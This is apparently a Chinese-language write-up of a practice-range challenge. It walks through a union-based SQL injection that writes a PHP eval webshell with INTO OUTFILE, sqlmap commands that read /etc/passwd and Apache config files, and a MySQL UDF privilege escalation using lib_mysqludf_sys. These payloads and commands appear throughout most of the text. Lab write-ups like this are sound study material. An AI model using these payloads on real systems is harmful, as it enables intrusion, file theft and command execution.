从去年12月末到现在2月中,也算是把这个靶场的大多数题目刷了一遍,自己也能算的上一个初学者把,本文具体的教程在b站上有(建立靶场的师傅),而本文记录自己的解题和思考过程。如果之前没有接触到这些知识点的同学,可能会感觉到比较吃力,这是正常的。
题目URL
目录
解题过程
sql注入写马
- 寻找注入点
- 寻找网站真实路径
- 写马失败,寻找可上传马的路径
- 上传成功,蚁剑连接
题目既然说了sql注入,又说flag在服务器根目录,所以仅仅是能注入获取数据库信息还是不行的,还得利用sql注入写入木马。
首先寻找到注入点。--存在注入的URL
http://106.15.50.112:8023/?r=content&cid=1
使用order by 语句 和union 注入 得知注入语句为 其中11 为注入点。
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
接下来我们会有第二个问题 sql注入咋写马呢?
原理很简单:就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
那么使用语句
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/aaa.php"
我们去访问,发现访问不到。。。。????用sqlmap也是一样的
所以就引入了另一个知识点
如果自己搭建过网站的话,自然要知道web应用的位置默认都在/var/www/html/,我们一般网页的文件都是在这上面,但是如果开发者设计的话可以在/var/www/html/ 后修改网页文件存放位置。(这个是需要一点经验 。。。。)
如何寻找web文件放置的地方呢(写入木马的地址)
下面仍然是利用mysql的函数
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/passwd" --technique U
当然 sqlmap得到得信息不会显示出来,而是会在保存在sqlmap的文件夹中。
找到文件位置,打开文件(注意是 .local 有个 "." 需要注意)
没有关键信息,我们再查看其他的配置文件(这种文件名,一般情况都是默认)
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/init.d/httpd" --technique U
得到关键config文件的路径
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/httpd/conf/httpd.conf" --technique U
找到的web文件放置的路径,这就是我们要上传木马的路径
接下来手动用sqlmap 写马都可以,这里选的是手动,用sqlmap写马的原理可以看这里。
sqlmap之--os-shell命令执行原理 - My_Dreams - 博客园
写马POC
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/whalwl/aaa.php"
继续检测
这里又失败了,为什么了呢?,又涉及到经验问题了,服务器一般不会给web根目录写文件的权限(实际上能sql注入写马的条件比较苛刻),不过我们可以继续寻找子文件夹,看是否能上传。
下面也不啰嗦了,按照群主的视频教程,直接是能上传到 image 目录下,
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['aaa']);?>",12,13 into outfile "/var/www/html/whalwl/images/aaa.php"
shell管理工具连接
看到flag
但问题会有这么简单么,在实际上我们用木马连接后,权限很小,不想之前的CTF或者一些靶场一样。 为了使我们权限提高,还需要经过一个提权的过程。
提权
准备udf文件(提权文件)
关于提权有很多种方法,我也是第一次学到提权。。。
红蓝对抗提权篇之一文看懂提权 - FreeBuf网络安全行业门户
简单的说一下,这里使用的是mysql udf提权,手动。。
下面采用UDF提权的方法,简单说一下。
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写
UDF本意上是为了程序功能更好的扩充,但由此产生的便利也导致攻击者可以采取这种方法获取系统权限从而执行危险命令,下面列出mysql udf提权的步骤
【SQL注入】UDF提权命令执行 - FreeBuf网络安全行业门户
先到sqlmap上找到udf文件,要注意到这个文件的后缀是so_,不是so ,所以还需要编译一下,具体原因请仔细看上方链接。
在这里利用 cloak.py 给 udf文件解码
POC
python cloak.py -d -i lib_mysqludf_sys.so_
修改名称为aaa.so
同样,还有一个和我们上面遇到的一个类似的问题,上传这个文件同样需要路径,这里又要引入一个新概念
plugin
plugin是插件的意思,通常是用与对某个现有的架构进行扩展。
我们把这个udf文件放入到plugin文件才能真正产生作用。
实施
- 找到数据库名称,密码
- 查找plugin路径
- 上传udf文件
- 执行系统命令
首先在配置文件找到了数据库登陆信息
登陆数据库,查找plugin路径
show variables like '%plugin%'
在该路径把udf文件上传,我的是aaa.so
之后在数据库输入命令,执行提权文件
create function sys_eval returns string soname 'aaa.so';
失败了,但不是我们的原因,因为之前已经有人执行过这个命令了,所以数据库报错。
命令执行打开flag
水平原因,写的应该不是很好,尽管还是有一些思路点没有讲到,但是已经尽量的站在我的角度上分析了,希望能给师傅们一点点帮助。
最后,感谢安鸾靶场,让我寒假没有在家摆烂,白嫖了一个不错的安全靶场。
我赌我一年的辣条,这不是广告。。。。
参考链接:
【SQL注入】UDF提权命令执行 - FreeBuf网络安全行业门户
SQLMAP渗透笔记之交互写shell及命令执行(即os参数的使用)_Birdman-one的博客-CSDN博客_sqlmap 执行系统命令